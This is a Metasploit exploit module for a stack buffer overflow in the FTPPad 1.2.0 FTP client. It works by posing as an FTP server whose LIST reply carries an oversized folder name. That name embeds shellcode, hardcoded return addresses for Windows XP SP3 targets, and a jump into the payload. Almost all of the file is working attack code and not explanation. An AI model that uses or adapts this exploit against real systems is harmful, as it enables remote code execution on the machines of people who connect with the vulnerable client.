FTPPad 1.2.0 - Stack Buffer Overflow



##

# $Id: ftppad_list_reply.rb 11039 2010-11-14 19:03:24Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Exploit::Remote::FtpServer

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'FTPPad 1.2.0 Stack Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack buffer overflow FTPPad 1.2.0 ftp client. The overflow is
                triggered when the client connects to a FTP server which sends an overly long directory
                and filename in response to a LIST command.

                This will cause an access violation, and will eventually overwrite the saved extended
                instruction pointer.  Payload can be found at EDX+5c and ESI+5c, so a little pivot/
                sniper was needed to make this one work.
            },
            'Author'      =>
                [
                    'corelanc0d3r'
                ],
            'License'        => MSF_LICENSE,
            'Version'        => "$Revision: 11039 $",
            'References'     =>
                [
                    [ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Payload'        =>
                {
                    'Space'    => 3000,
                    'BadChars' => "\x00\x0a\x2f\x5c\xff\x0c\x0d\x08\x09",
                    'DisableNops' => true,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    #shlwapi sniper + pivot :  MOV DWORD PTR DS:[EDX],EAX + CALL ESI
                    [ 'XP SP3 Professional, English - shlwapi 6.00.2900.5912', { 'Ret' => 0x77FA6556 } ],
                    [ 'XP SP3 Professional, German - shlwapi 6.00.2900.5912' , { 'Ret' => 0x77f86556 } ],
                    [ 'XP SP3 Professional, English - shlwapi 6.00.2900.5512', { 'Ret' => 0x77FA6526 } ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Oct 12 2010',
            'DefaultTarget'  => 0))

    end

    def setup
        super
    end

    def on_client_unknown_command(c,cmd,arg)
        c.put("200 OK\r\n")
    end

    def on_client_command_list(c,arg)
        conn = establish_data_connection(c)
        if(not conn)
            c.put("425 Can't build data connection\r\n")
            return
        end
        print_status(" - Data connection set up")
        code = 150
        c.put("#{code} Here comes the directory listing.\r\n")
        code = 226
        c.put("#{code} Directory send ok.\r\n")
        totalsize = 13000
        foldername = "A" * 24 + payload.encoded + ("A" * (3318-payload.encoded.length))
        #EDX+5c and ESI+5c point at shellcode
        #we control EAX and EIP
        #use value in EAX to write to EDX (to make a jump forward, about 5c bytes)
        #and then jump to ESI (which will then execute the jump forward, to payload)
        foldername << [target.ret].pack('V')  # MOV DWORD PTR DS:[EDX],EAX # ... # CALL ESI
        foldername << "\x41\x41\x75\x5B"  # EAX -> 75 5B = JNZ SHORT -> shellcode
        foldername << " " * (totalsize - foldername.length)
        print_status(" - Sending directory list via data connection")
        dirlist = "drwxrwxrwx    1 100      0         11111 Jun 11 21:10 #{foldername}\r\n"
        conn.put(dirlist + dirlist + dirlist + dirlist)
        conn.close
        return
    end

end